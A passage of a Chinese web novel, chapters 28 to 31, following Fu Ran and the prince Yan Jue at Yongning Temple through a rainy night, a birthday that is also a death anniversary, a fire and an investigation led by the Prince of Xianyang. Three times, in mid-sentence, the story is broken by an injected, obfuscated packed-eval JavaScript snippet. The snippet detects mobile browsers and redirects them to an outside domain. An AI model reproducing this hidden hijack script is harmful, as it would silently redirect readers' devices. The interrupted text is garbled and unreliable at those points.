说得好像她是个轻薄良家子的好色之徒一样,那他自己是什么,被占便宜的黄花闺男吗? 傅苒歪了歪头,跟他竭力显得冷冰冰的眼神对视了两秒,因为这个过于顺滑的联想,虽然知道场合不对,还是差点笑了出来。 晏绝表情一僵,眼看就又要恼羞成怒。 她赶紧识相地忍住了:“殿下,我只是想说,你不笑的时候也挺好的。” 老实说,她觉得晏绝无时无刻不在用笑容来掩饰情绪,几乎已经变成了一种面具,反而是在这样的时候,看起来更像个真实的、有温度和情绪起伏的人。 晏绝好像因为她这句话有点别扭,笑也不是,不笑也不是,终于恼怒地抿起唇。 而傅苒试探着擦干他垂在肩上的黑发,就没敢继续越界了,只能问:“你真的不把湿衣服换了?” 晏绝总算适时别过头去,冷声道:“不换。” “脱下来用熏炉烘干一下吧,”她主要是想起了谢晞容的前车之鉴,“不然你会得风寒的,上次不听劝的人就卧床好几天了。” 然而他始终一副贞洁烈夫的样子,不看她也不理人,傅苒劝了半天,终于心一横道:“殿下,你不会是觉得害羞吧?” “我又不是登徒子,我保证绝对不会偷看你,而且……而且反正也没什么可看的了。” 事实证明,话放得狠点是有效果的,听到这句,少年总算回过头,带着薄怒瞪了她一眼,看起来很想让她把嘴闭上。 他不情不愿地摸了摸湿透的衣服,告诉自己,要是不按照她的要求来办,恐怕还要再被念叨半个时辰。 何况被这么一打岔,他已经完全忘了本来在想什么。 而且傅苒说做就做,真的转过身去,甚至还窝在坐席上搬了本书开始翻动,一副决不回头的姿态。 他凝滞了好半晌,最终还是无声地把湿淋淋的外袍脱下,从正经端坐着的女孩身边越过,轻轻搭在了熏炉上。 29. 第 29 章 秋日的雨夜寂静,窗外雨声沥沥,室内烛火摇曳,熏炉蒸腾出干燥的暖意。 傅苒一开始看书,就真的投入了进去,等到翻完一卷,回过神来,才发现自己坐得腿都麻了。 她都快忘记了背后还有个人的事情,刚想起身活动一下,眼中就猛地撞进了少年衣衫不整的身影。 他的外袍已然脱了下来,里面的中衣也没完全干,还潮润着,若隐若现地透出下面的痕迹。 那是大大小小的伤疤。 不像谢青行那种箭矢留下的贯穿伤,看起来更接近于刺伤和割伤。 真是奇怪,她下意识想道,晏绝作为宗室亲王,虽然肯定参与过不少战事,但按理来说能伤到他的,应该更多是流矢才对啊。 弄成这个样子,总不能是拿兵器跟人白刃战了吧? 但她刚想多看两眼,就听见晏绝蕴着怒气、几乎有些咬牙切齿的声音:“……你看够了没有?” 这下更像登徒子了,还是被当场抓包的那种。 她保证过不看的,不小心看到就更不能提了,只好赧然咳嗽一声:“不是,我没有故意看你,殿下,我只是去拿起烘好的衣服而已。” 傅苒不知道为什么莫名有点心虚,赶紧去熏炉上捡起衣服。 为了掩饰窘迫,拿得有点匆忙,没注意细看中间有没有夹带,只听到“啪嗒”一声,某件东西掉了出来,滚落在地上。 她下意识低头看去,是枚白玉质地的长命锁,上面有两个刻字。 “谬……真?” 还没来得及看清楚,就被一只手掌覆盖。 晏绝不知怎么半跪在了她面前,把那枚长命锁捡拾起来,抬眸向她。 他的黑发已经半干,却不知为何没有重新束起,还是维持着她解开的样子,现在更是彻底散落下来,随意地垂在肩上,衬得皮肤更白,唇色更红,眸中倒映着她的影子,如同深不见底的漩涡。 这样的目光包围着她,在这一刻,空气仿佛都变得黏湿而滞重。 刹那间,傅苒的直觉又开始警告她。 这个长命锁一定有什么不能涉及的秘密,否则他不会这么、这么…… 她果断把烘干的外袍往前面一递,低下头装作什么都没看见:“殿下,你的衣服干了。” 但晏绝没有接,依然默不作声地望着她。 知道不该问的绝不问,倒是很聪明。 然而他心情不好的时候,便更讨厌被人漠视的感觉,尤其是,她刚才居然真的在这种场合专心读起了书,自顾自把他抛在脑后那么久,连他看了她好几次都毫无察觉。 总是如此,就像阿姊一旦见到谢青行,就再也看不到他,父皇和母后的眼中只有太子,而姑母……姑母善待所有人,哪怕是最低等的宫人,却唯独只憎恨他一个人。 所有人都不在乎他。 但是眼前的女孩,分明在禁地里的时候,她也曾经那么认真握着他的手,眼里专注地倒映着他的影子。 她为什么如今也要视而不见? 明明她对谢青行从来不是这样,对阿姊,对萧徵也不是。 如果是故意的,的确让人很不愉快,如果不是,那么——就更让人不愉快了。 压抑得太久的阴暗欲望逐渐反噬而上,变得如此强烈,几乎使他忘记了,自己本不该把这件事放在心上,任由它们在阴翳中滋长。 他忽然笑了。 “你怎么不问我,这两个字是什么意思?” 傅苒没有等到那件衣服被拿回去,反而眼睁睁看着他缓慢靠近。 在这四门紧闭的禅室之中,少年的面孔眩丽得几近妖异,却令人不寒而栗。 如此极致的艳色,落在眼中,让她一瞬间觉得,纵然是世上任何一幅画卷中所想象的鬼魅,恐怕都无法和这种锋利的、极度具有攻击性的美貌相比。 她不知道为什么也紧张起来,屏住呼吸,下意识攥住了手里华贵的布料。 但晏绝忽然停了下来,停在一个若即若离的位置,没有一点过界的动作,然而那样的目光却缠绕在她身上,如同附骨的阴影,不允许猎物逃开。 他笑着对她说:“是我的名字,我真正的名字,你猜得到它是怎么来的吗?” 傅苒愣了一下,然后坚决摇头。 她绝对不想知道更多秘密了! 这个反应看起来是个不太好的选择,因为晏绝笑得更深,也更冷淡:“因为我的存在,原本就是个错误啊。” “你知道我今天为什么在这里吗?因为妙空法师走前见了我,他告知了我一件事。” “他说很多年前,有人向他悔过,说自己已经犯下了此生最深的罪孽。她曾经许多次想要结束这一切,却始终无法下得了手。那个人留下了一枚长命锁,在佛前求法师为她做最后的见证。” “她说有朝一日,或许会有个孩子去找法师拿这件东西,如果没有,那么她的罪业便已经尽了。” “殿下,你,我,我……”傅苒恨不得把耳朵捂上,但距离这么近,她想不听到都没办法。 晏绝看着她的动作,继续道:“留给我长命锁的人,是华阳长公主。” 傅苒呆滞好几秒,才意识到自己刚刚听见了什么了不得的东西。 救命啊!这真不是她想听的! 她感觉好像掉进了某种陷阱,但又垂死挣扎一样发出疑问:“为什么非要告诉我?” 晏绝顶着一张漂亮到几近于妖冶的面孔,没什么善意地勾了勾唇角:“不知道在傅姑娘的家乡,有没有这样一句俗语,一事不劳二主?” 虽然这句话出现得似乎让人摸不着头脑,但可能是她不幸被小病娇折腾过太多次,竟然有如神助地理解了他的意思。 ——反正她上次已经知道了他的部分秘密,所以知道更多一些也根本无妨。 多方便,灭口都只需要灭一个人。 当然,最后一句话纯是她的个人臆测,尽管她觉得晏绝大概率就是这么想的。 她有很多话欲言又止,最后忍不住怨念道:“殿下,你知道有个故事叫农夫与蛇吗?” “又是新的?我倒是可以猜猜。” 少年的语气中略带嘲弄:“你会用在这里,大概不是什么好故事,蛇救了农夫,还是农夫救了蛇,结果却被反咬了一口……是这样吧?” 不是。 他怎么这么快就学会预判了? 傅苒有种被猜中了的郁闷感,不甘心地说:“殿下,那你知道我对这个故事是怎么想的吗?” 她盯着他的脸,慢吞吞道:“我想起有句话说,这世上的美人,越是艳若桃李的,就越是心如蛇蝎。” 晏绝一顿,迎着灯光定定地凝视她的眼睛。 烛火投下模糊的虚晕,逆光使得那双眸子暗色沉沉,如同望不见水底的埋骨寒潭,愈发显出一种深沉难辨的意味:“……傅姑娘刚才说什么?我没有听清,你再说一遍?” 他的脸是这样美丽,眼神却危险,像是淬了剧毒的鲜艳的钩吻,毒得见血封喉。 傅冉很识相地退缩了。 “没什么没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553216|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,我瞎说的。” 不知道是不是因为她的表现还算称心,晏绝好像终于对她折腾够了,总算是从她手里把孤零零晾了半天的衣服拿回去,站起身来,不紧不慢地重新换上。 这件外袍是朱红色,衣襟和袖口都盘绕着漆黑的?龙纹,被熏炉烘暖了,渗出一股香气,应该是贵族常用的降真香。 大概是身份原因,他好像常常穿红色和玄黑色的衣服,加上那张过分美艳的脸,更显得异乎寻常耀眼。 就像带着毒刺的花束,无可抑止地诱人堕落。 虽然傅苒有种莫名其妙被拉下水的挫败感,但是想想又发现,自己反正已经听了这么多秘密,还不如接受现实。 “所以说,谬真,是你本来的名字?” 抱着破罐子破摔的心态,她当真思考了一下他话里的信息,“听起来倒是很像女孩子。” 她说着说着忽然灵光一现:“那以后是不是可以叫你真真?” 晏绝最后扣起腰上的金带钩,无声地瞥了她一眼,眼神中像是写着:想死就试试。 显然,傅苒还不想死,所以她没敢试。 他很快把外衣重新整理好,华服绣裳,衣冠齐楚,整个人像是重新退回到厚重的伪装之下,低头端详她。 很奇怪,她看起来分明柔弱极了,可实际上又往往出人意料。 这些试探看起来总是怯弱的,柔软的,小心翼翼的,仿佛毫无威胁的力量,却又明确而固执,像是由最细密的丝线慢慢地缠绕成网,即便再危险也不足以让她退却。 从最开始她出现时,就是如此。 她做得很成功。 哪怕她占据了谢青行身边的位置,阿姊都还是开始信任她,把她当作真正的朋友,甚至当他见到阿姊的时候,阿姊已经开始经常说起她的善解人意。 她就这样轻易地操纵别人的感情,轻易地得到好感和欢心。 但所有的事情,都要有一个目的存在,这个目的,究竟是什么? 晏绝朝她走了一步,傅苒以为他是换好衣服准备离开了,贴心地后退,转过身给他把门打开,摆出礼貌的送客姿势。 他却没由来又停了下来,神色不辨,忽然道:“你到底为什么要接近阿姊?为了谢青行?还是萧徵?” 这个问题不是上次就问过了?又来? 而且怎么还唯独没猜是为了你,这么有自知之明的吗? “没什么理由啊……”傅苒简直要叹气了,“殿下,你非得把每件事情都想得那么复杂吗?不能只是因为我很喜欢苏姐姐,所以想和她做朋友吗?” 虽然其中不免有系统的原因,但根本上来说,还是因为她了解苏琼月的人生经历,也心疼她的遭遇,所以才会愿意做这个任务。 就这样简单的事情,为什么一定要去猜测背后另有别的深意? 像他这么活着也太累了吧。 还好眼看快到门口了,傅苒决定今天的助人为乐可以到这里为止:“水也喝了,衣服也烘干了,我要准备休息,殿下你该回哪就回哪去吧。” “慢走,不送。” 当然最后,她还没忘记往他手里塞了把伞,然后飞速把门关上了。 “……” 晏绝对着砰然合拢的屋门,话还没能说完,难得有些不知所措的茫然。 但他却迟迟未动,依然长久凝望着那片暖黄的灯光,直到被晚钟声惊醒。 屋内是温暖的栖息地,屋外是漫漫长夜。 他终于撑开纸伞,转身走进茫茫的雨幕之中。 30. 第 30 章 一场突如其来的冷雨过后,天气又转晴了几日,青石板上还残留着浅浅的水洼,在秋阳照耀下闪烁着细碎的金光。 萧徵说的没错,接下来的时日,永宁寺就不如之前那样太平了,不时有身着官服的吏员进出,听人议论,貌似是因为贪污案的缘故被派来核查寺里的重修工程。一时间,原本清净的佛门再度陷入了红尘琐事之中。 苏琼月目睹了一切,不禁向傅苒感叹:“还好妙空法师已经离去,不然他时至如今,还要受这样的操劳,如何能得清净。” 她原本是无心之言,但是傅苒想起了小病娇的那个长命锁,顿时若有所思。 这位法师不会是感觉到了麻烦,才在动荡之前辞去一切职务,决定自己离去的吧? 如果真是这样,那确实也算是某种意义上的了断因果了。 苏琼月和住持毕竟不大熟悉,仅仅是随口感慨一句而已,接着又道:“不过也是凑巧,因为这桩事,我今日倒是碰见了梁王世子。” 自从在宫中被傅苒帮过一次之后,苏琼月便对她加倍信任起来,加上这么久以来的相处,虽然还不像从小认识的晏明光那样知根知底,但也拿她当作可以交心的朋友了。 “今天?”傅苒差点没克制住语气里的惊讶。 不怪她震惊,现在苏琼月每天大多数时候都跟她在一块,而且最重要的是,今天上午她才和萧徵见过面。 萧徵除了配合公务,跟她叙旧之外,居然还能找到机会在女主这里露脸刷好感,简直是时间管理大师啊他。 照旧是那间禅室,在松下的清影里,萧徵再一次问了她:“长宁,你这些年,都是怎么过来的?” 老实说,他问的人其实不太对,因为傅苒也不是很了解女配的经历,她自己都还要靠萧徵来补全故事背景呢。 但如果她确实是萧徵的亲妹妹,那位已经回了南梁的义阳王就是她的亲生父亲,解开秘密的关键应该就在于,她到底是如何和家人分开的。 萧徵上次提起了大火,想来她是在大火中失散的? 因为信息还太残缺了,她选择先回避了这个问题:“我暂时不想提起那些,但是世子,如果你真是我兄长的话,当初为什么没有带我走?” 萧徵微微一怔,而后眸中浮现出愧疚之色:“当时前废帝派人来抓捕的时候,父亲带我和母亲暗地离开,你怎么也找不到,我想去寻你,却被父亲的亲卫打晕……” 他的声音低沉下去,“当我醒来之后,就已经在北上的路途中了。” 说到这里,萧徵苦笑了一下:“不论如何,我终究是对不起你,也对不起阿母。” 他说这番话的神色真挚,连愧意看起来也是真情实感的,要是原来的女配在这儿,不管是怨恨还是宽恕,至少反应肯定会很强烈。 但傅苒不是原身,没有真正经历过颠沛流离,对她来说,编几句故事就已经是极限,实在扯不出什么别的肺腑之言了。 于是他们好像明明有太多话应该说,最后反而只剩下不知要从何说起的沉默。 可傅苒也不能就这么跟他干坐着,只好自己继续找话聊,想起苏琼月和后续的任务,她试探性地打听:“唔,世子,你好像和苏姐姐也很熟悉了,有没有觉得她……是个很好的人?” 萧徵似乎没有想到她会问起这些,语调微微一顿:“是。” 不过这种迟疑只有一瞬间,等他再开口时,声音已恢复了素来的温润:“苏娘子清心玉映,温敏聪慧,我与她偶然相识,很是欣赏她的才华和乐曲造诣,但除此之外,并无其他。” 他外表没什么异常,可傅苒感觉,这番话就远不如刚才那么诚心实意了。 夸苏琼月的那部分肯定是真的,但至于是不是偶然,要不是她看过原著,没准又要被忽悠过去。 显然,触及到这个话题,他周身那种柔软的愧疚便如潮水般退去,取而代之的是一种滴水不漏的谨慎。虽然态度还是很好,但却什么都没有透露出来。 不过想想也正常,失散多年的妹妹,谁知道能不能信任,对萧徵这么心思深沉的人来说,一上来就让他交底不现实。 反正支线没有限制时间,而且她自己都摸不太清头绪,怎么可能一蹴而就,得有点耐心才行。 她叹了口气,暂时不想再继续聊了,准备起身走的时候,却被萧徵极轻地牵了牵袖角。 傅苒疑惑地回头,他很快松开,但依然仰起头,深深注视她的脸,像是望着回忆里的影子。 “长宁,有些话,不是我不想对你说,”他声音很轻,但也很清晰,“而是我……也有力所不能之事。” “但如果阿兄还有什么能为你做的,从现在起,一定要告诉我。” …… 她回过神来,苏琼月正在说:“是啊,其实也不能算是遇见,只是我经过的时候,听到有人在议论他,好像是他太常寺的同僚,说他法会期间在寺里行督办的职责,却常常演奏南方的靡靡之音,可见其心有异,肯定是对朝廷有不服之意。” “我一时气不过,本要出去解释,没注意世子也在后面,被他拉住了。本来是那些人的错,世子却向我道了歉,说不该让我听到这些。” 苏琼月谈起这件事,声音带上了几分不平。 “分明世子对建兴长公主极有孝心,何况他十岁便已经来了这里,即使原本是南朝人,这么多年过去,洛阳又何尝不是他的故乡,早就和我们一样了。而且要不是我请他演奏吴地音乐,他也不会被那些人扣上罪名,是我对不起他。” “就如我从前生在怀朔镇,但离乡日久,连乡音也几乎忘却了。那些人拿这个来攻击他,实在太过于狭隘了。” 傅苒心想,虽然背后议论的人确实狭隘,但女主估计也还是有点太天真。 以她对萧徵性格的了解,她觉得这事十有八九是故意的。 故意让女主看到他被排挤的一面,从而激起同病相怜的同情心。 但男二前期实在隐藏得太好了,她这么说,女主大概不会相信,反而有背后说人坏话的嫌疑,毕竟萧徵对她怎么也不算差。 真是个让人烦恼的问题。 傅苒从苏琼月那儿离开,正苦恼于要怎么让女主看清男二的白切黑,转过弯,却在廊后忽然意外瞥见一道身穿素服的影子。 秋雨停歇,廊下依然弥漫着清冷的寒气。 少年独自倚靠于曲栏边,一袭素白深衣垂落下来,仿佛沾到了草木上未干的露水,衣摆处洇开几点深色的水痕。 晏绝静静坐在那里,好像已经呆了很久,无声无息,谁也没有惊扰,莫名显得有些孤单。 她脚步一顿,有点犹豫要不要打招呼,但脚步声已经不小心惊动了飞鸟,扑棱棱的振翅声打破寂静,他抬起头看了过来。 “殿下,”傅苒只好提起裙裾走近几步,站在廊外的阶梯下望着他,“原来你在这儿,怎么没进去找苏姐姐?” 一个人坐在这里,好像被拒之门外的小可怜似的,他平时在苏琼月面前可完全不是这样。 晏绝听到这句话,不知为何,反而自嘲般笑了笑。 “这时候,我不适合去打扰阿姊。” 他鸦色的长睫渐垂下来,覆盖着眼眸,有种无言的落寞。 傅苒看到他身上不同寻常的衣服,好像有点明白了意思:“今天是什么特殊的日子吗?” 他默然了一会,低声说:“是一个重要之人的忌日。” “那,你节哀,”傅苒很少见到他这样,觉得自己好像该说点什么,但又想到以他们的关系她貌似也不方便怎么安慰,只好道,“既然是忌日,要不要烧点纸钱什么的,祭奠一下?” 刚好他们人都在佛寺里,去给人上柱香完全是顺路的事。 但晏绝平静道:“不用了。” 既然他不需要,傅苒也不知道还有什么能做的,心想还是应该别再继续打扰他。 “已经有点晚了,外面可能会变冷,殿下你小心别着凉。” 她退开半步,准备转身离开,“我就先回去了。” 少年却在此时忽然说:“你要不要坐一会?” 话一出口,他先怔住了,甚至不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564940|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己为什么会这样。 或许只是不想独自面对这个日子。 以至于他不可思议地说出了挽留的话:“……今天是我的生辰。” 傅苒停住了:“生辰?” 是啊,他淡漠地想。 他的生辰,他生母的忌日。 太后总说,那个女子是因为他而死的。 在能翻阅到的内廷记载里,他的生母,一个最普通的宫女,被帝王临幸过,偶然有孕,又不幸在生育之中难产去世。 所以从那一天起,他从来没有得到过关于生辰的祝贺,就像太后所说的,作为人子,也不配庆贺,而应该愈加反省过错,忏悔自己对不起的阿母。 从他幼时起,关于生辰的回忆都是一样的。 冰冷的牌位,因为跪久而麻木肿痛的双腿,和尽管极力去想象,却还是无论如何也不能勾勒出的母亲的面孔。 他知道这是他应当承担的罪过。 阿姊因为太后的态度,自然也不会敢于说什么,至多只是在事后劝慰他几句,让他更顺从一些,不要在这样的时候惹太后生气。 谬真这两个字,太后说,是他的阿母最初取的名字。 后来,太后为他选的字是绝。 亲缘断绝,这是他的命数。 他知晓的从来都是这样,然而,从拿到那个长命锁的时候起,浮起的疑问越来越深地盘桓在心头。 若是如同太后所说,他的生母只是个普通的宫女,和任何贵人都没有过交集,那么,姑母,华阳长公主……为什么会知道他的名字? 他甚至记不清楚,姑母也曾经这样呼唤过他吗? 念头浮现的同时,像是有遥远的声音从记忆深处传来:“阿真……” 熟悉的影子出现在他的眼眸中,起初模糊,继而清晰,最后化作一张被火焰吞噬的脸。 “为什么要活下来?” 那美丽的妇人深陷在灼烧的火焰间,脸因为痛苦而扭曲着,仿佛在看着他流泪,泪水滴落在火中,化成怨恨的鲜血。 他的呼吸骤然急促起来,喉结滚动,却依旧发不出半点声音。 “你为什么不随我一起死去?”火焰中的幻影又哭又笑,然后伸出焦黑的手,“你来陪我吧……来地狱里陪我吧,阿真。” 剧烈的晕眩与头痛同时袭来,眼前的景象开始扭曲重叠。 他再也分不清自己究竟是跪在庄严的佛像下,还是站在那片吞噬一切的火海之中。 “殿下,你没事吧?” 傅苒看他的目光又开始涣散,就像在宫中的那次一样,连忙按住他的肩头轻轻晃了晃,却因为掌心的触感不由愣了一下。 他额角都是冷汗,整个人竟然在不可自控地发着抖。 入夜,天已经完全黑下来,渐渐刮起的晚风裹挟着凉意,檐下的铎铃震颤不已,发出清脆而急促的声响。 在呼啸的风声和铎铃声之中,有另一种嘈杂的声音响起,开始被盖了过去,却没有消失,反而如同靠近的蜂鸣,越来越清晰。 “走水了,好像有地方走水了!” 傅苒循声望去,暗沉的天幕中,一抹明显的红光真的在蔓延开来,周围有许多纷乱的脚步声急匆匆而过。 她担心起来,这下也顾不得晏绝的异常了:“殿下,你赶紧去告诉苏姐姐,我先去前面看看严不严重!” 晏绝下意识伸手,指尖堪堪擦过她的衣袖,但她已经离开了几步之远,无法再挽留。 好像他常常是在看着她离开。 这一刻,内心真正想要发出的声音是,别走。 但他终究没有说。 他下意识合拢五指,却什么也没有留住,只有风倏忽吹过,掌中唯余一片空空。 “啊,对了。”傅苒跑出去几步,又想起来一件重要的事情,马上回过头看他。 晏绝还在原地,望着她的背影。 在混乱的喊声和人影中,傅苒回转过身,逆着喧嚣的人潮,和映满夜空的火光,大声对他说了最后一句话。 “殿下,生辰快乐!” 31. 第 31 章 傅苒随人潮到了寺门处,向围观群众打探了一下状况,才发现起火的地方原来不在永宁寺近边,而是在出西阳门外的御道之南。 但火势应该很大,隔了这么远都能望见,加上在宵禁之后,一片漆黑的夜里,就更显得骇人。 第二日,寺院的平静被这场大火彻底打破。 清晨,香客还未到来寺中,便有数十名兵卒和武吏涌入,封锁了正门和各个侧门,将整座寺院封闭起来。 傅苒被这些动静吵醒,推开窗户,就看见了同样被惊醒的苏琼月,她看起来也不清楚状况:“苒苒,这是怎么了?” 屋舍里住的客人很快被一一唤起,聚集到禅堂之中,傅苒跟在苏琼月旁边,注意到她有些不安,便悄悄握住了她的手。 厅堂里面早就已经议论纷纷,几位戴着轻纱帷帽的贵妇人凑在一处,薄纱随着她们交头接耳的动作轻轻晃动。 “这是怎么了?那些搜查的人哪里来的?”一位着绛色罗裙的妇人以团扇掩面,声音压得很低。 旁边高鬟云鬓的夫人摇了摇头:“谁知道,听说是廷尉派来的。” “最近又有什么事情,如何惊动了廷尉?寺里有杀人的案子不成?” “看着不像,平日里也没这么大阵仗。” 正说着,外面传来一阵嘈杂声,禅堂的门大开,几名武吏站在两侧,一位身着绛紫官服的中年男子大步走入,他面容威严,能感觉到那锐利的目光扫过每一个人。 咸阳王,当朝丞相,皇帝的叔父,手握重权的宗室之首。 “诸位不必惊慌。”咸阳王的声音沉稳有力,“昨夜城中发生命案,本王奉旨搜查可疑人等,诸位若无干系,无妨自行离去。” 寺里住着的贵客不少,禅堂的这些人里都有些身份来历,又大多数是女眷,所以搜查的人对他们态度还是相当客气的。问询过后,无关人等便由他们通知家中派车来接,或者自行离开。 “苒苒,我们从侧门走吧,”离开禅堂的时候,苏琼月挽住傅苒的手臂小声道,“方才已让婢女去传信,家中遣来的车马应该快要到了。” 两人穿过庭院,没走到门口,傅苒忽然感觉苏琼月的手指轻微收紧起来。 她顺着视线望去,前方不远处,咸阳王的几名属官拦住了一个年轻男子。 男子身姿挺拔,如松如竹,即使被众人围着,他依然保持着从容不迫的姿态。那是萧徵。 “少卿昨夜身在何处?”咸阳王的声音传来,带着明显的压迫感。 然而萧徵的神色平静如水:“下官近日奉旨查核永宁寺建造账目,昨夜一直在寺中整理文书。” “是吗?”咸阳王冷然道,“你的同僚昨日都不同你在一处,可没人能证明,少卿空口无凭,岂不是想说什么就是什么?” “我……可以作证。” 眼看气氛凝结,苏琼月突然松开傅苒的手,向前迈出一步,引得众人都侧目看了过来。 萧徵眼中闪过一丝讶异,随即又恢复平静,咸阳王则上下打量了她几眼,隐约对这声音有些印象。 “你是苏家的三娘?” “见过咸阳王殿下,”苏琼月摘下帷帽,露出明艳的面容,向他行礼道,“正是,苏太傅是我的伯父,太后是我姑母。” 咸阳王记得太后的这个侄女,但看到她的脸,还是情不自禁地皱了皱眉,随即道:“这事跟你有什么关系?” “我只是想澄清,少卿并未参与此案。” 苏琼月闻言连忙为萧徵辩解:“咸阳王殿下,昨天我在这里偶然碰见了世子,他和我讨论乐曲,中途并没有离开,而且世子这些天在永宁寺办公,许多僧人都有见证,他的确没有去过别的地方!” 她言辞恳切,眼中闪烁着真挚的光彩,句句都是维护。 其实以她的身份,能做这个保证就已经很不容易了。 萧徵望着苏琼月的背影,眸色渐深,因为傅苒面对着他,正好看到他脸上一丝转瞬即逝的复杂情绪。 对他们这样身在局中的人而言,利用别人,或是被人利用,都已经习以为常,不值得一提。 但利用一个不含任何私心,只是纯粹维护他的女孩,即便对于萧徵这样的利己者,也不是能够全然于心无愧的事情。 “他或许没有,他的随从可就不一定了。”咸阳王神色依然冰冷,寒声道,“昨日西阳门守卫见过梁王世子的随从两人离开,出现在梁宅附近。” 他猛然逼近了一步,威严凛然地喝问道:“世子,你的随从不好好跟着你,反而跑去梁御史府上,除却包藏祸心,还能是何意图?” “咸阳王实在误会我了。” 萧徵却丝毫没有他质问的气势被影响到,声音依旧温和如春风拂面,始终不卑不亢。 “西阳门御道外有家知名的琴馆,我的随从正是为之而去。我在大半年之前就已经向馆主定好一张松木古琴,昨日仅仅是遣人去取货,途径梁宅实属无意,馆中的斫琴师想必也可以证明此事。” 傅苒一开始没能及时拉住苏琼月,只能无奈心想,萧徵那番卖惨看来在女主这儿是真的起到了作用。 但她就没有那么相信萧徵了。 虽然不知道昨天的纵火案是不是真的和他有关,但永宁寺里面有问题是一定的。 而且……她还想起被晏绝杀死的两个人,难道他们也和这件事情有什么关系? 萧徵为自己辩解过后,便转向苏琼月,眸子里含着几分歉意:“多谢苏娘子为我作证,但此事不应关系到娘子身上,娘子无需因我而涉入麻烦。” 他遥遥看了眼傅苒,傅苒会意,连忙对苏琼月说:“是啊苏姐姐,世子自己肯定能解决的,还是不要干扰他了。”感觉到苏琼月还有点迟疑,又劝道,“你看,咸阳王殿下肯定也不是不讲理的人,对吧?” 连哄带骗,她总算把忧心忡忡的苏琼月从这个是非之地拉走了。 * 永宁寺由前朝保太后始建,后在苏太后手中扩建壮大,在如今的晴阳之下,琉璃瓦湛湛生辉,朱漆大门庄严而巍峨,香火缭绕间,来自四方的高僧在此诵经弘法,俨然是一方佛国净土。 咸阳王负手立于浮屠前,目光沉沉地扫过这座金碧辉煌的寺院。 他很清楚,苏太后早先入宫时不过一介卑贱的奚官女奴,若非保太后一力推举,绝不可能坐上皇后之位。正由于这层关系,即使在朝廷中,苏家和常家的关系也始终密不可分。 寺院既然是由她们这一系建立,又多年来接受香火供奉,说到底,就不可能真正地超脱世俗,不受到太后势力的任何影响。 想到这里,咸阳王拧紧了眉头,心中顿生愠怒。 他早早派出过探子查探寺庙的内部情况,甚至还安插了两个得力的手下扮作信徒,借着供奉的名义常来往寺中,暗地里收集了不少信息。 但在中秋太后寿宴之前的某天,手下无缘无故地消失了,并且连同搜集到的情报,以及在寺中留下的全部痕迹,一起人间蒸发了。 原本他以为是有人发现了他手下的意图,将之灭口,但事后咸阳王再派人去调查时,相关者却都表示当日绝无异动,寺里也没有出现过任何痕迹。 活要见人,死要见尸,可人与尸都不见,简直是离奇至极。 清退了闲杂人等,寺中近日相关的人都已经聚集在这里。咸阳王锐利的目光扫过众人,最后定格在新任住持身上:“我已查证,昨夜火灾之后,有永宁寺附近之人称夜里见到有黑影潜入寺中,你们对此可有说法?” “阿弥陀佛。”年迈的住持合掌叹息,目光却淡如古井无波,“本寺规戒肃严,为根除俗心,一向对寺中修行众人加以约束,夜夜均点检归宿人数。然昨夜名册中确未见不归宿者,若是咸阳王殿下有所疑虑,我寺戒律僧可随殿下一同查册验证。” 咸阳王冷笑道:“廷尉的人在这,还要你什么戒律僧?是否包藏罪犯,我入寺后一观便知!” 他地位最高,说一不二,廷尉的人自然也不会提出异议。 然而这时候,后面却传来少年的声音,不紧不慢地说:“王叔若是准备领着这么浩浩荡荡的一群人,恐怕会惊扰了寺中的清净。” 咸阳王凝眉望去,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574027|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到晏绝倚在廊柱旁,唇角噙着一丝散漫的笑容。 绯色的官服衬得他肤白如玉,像个年少风流的小公子,哪怕置身于漩涡之中,还是优游自若。 “永宁寺为皇家所建,自当率先垂范,配合本司查案。”咸阳王多年积威,对这个素来疏远的侄儿也没什么额外的好脸色,冷冷瞥他一眼。 “还是说,你认为,寺中有什么不可告人的事,以至于经不起查?” 晏绝环视了一圈神态各异的众人,依旧笑着:“当然不是,叔父要是确实想查,那就查个够。” 永宁寺地方虽大,但被调查了这么多天,早就没几处余地了。 萧徵因为嫌疑,暂且被扣在客堂里,咸阳王领着其他人各处搜遍,却并没有发现什么明显的异常,直到停在一处大门紧锁的院子前。 院门关闭着,似乎太久没有开启过,连上面的铜锁都已经呈现出锈蚀斑驳的样子,从合拢不严实的门缝间望去,里面的荒草长得漫过了台阶,地上积满了经年未扫的枯叶。 在永宁寺这样寸土寸金的地方,出现这种院落是极不正常的事情。 他微微眯起眼睛,问道:“这是什么地方?为什么锁成这样?” “叔父竟然不知道吗?” 僧人还没有回答,晏绝缓步上前,漆黑的眸子盯着他的神色,仿佛不经意地提及。 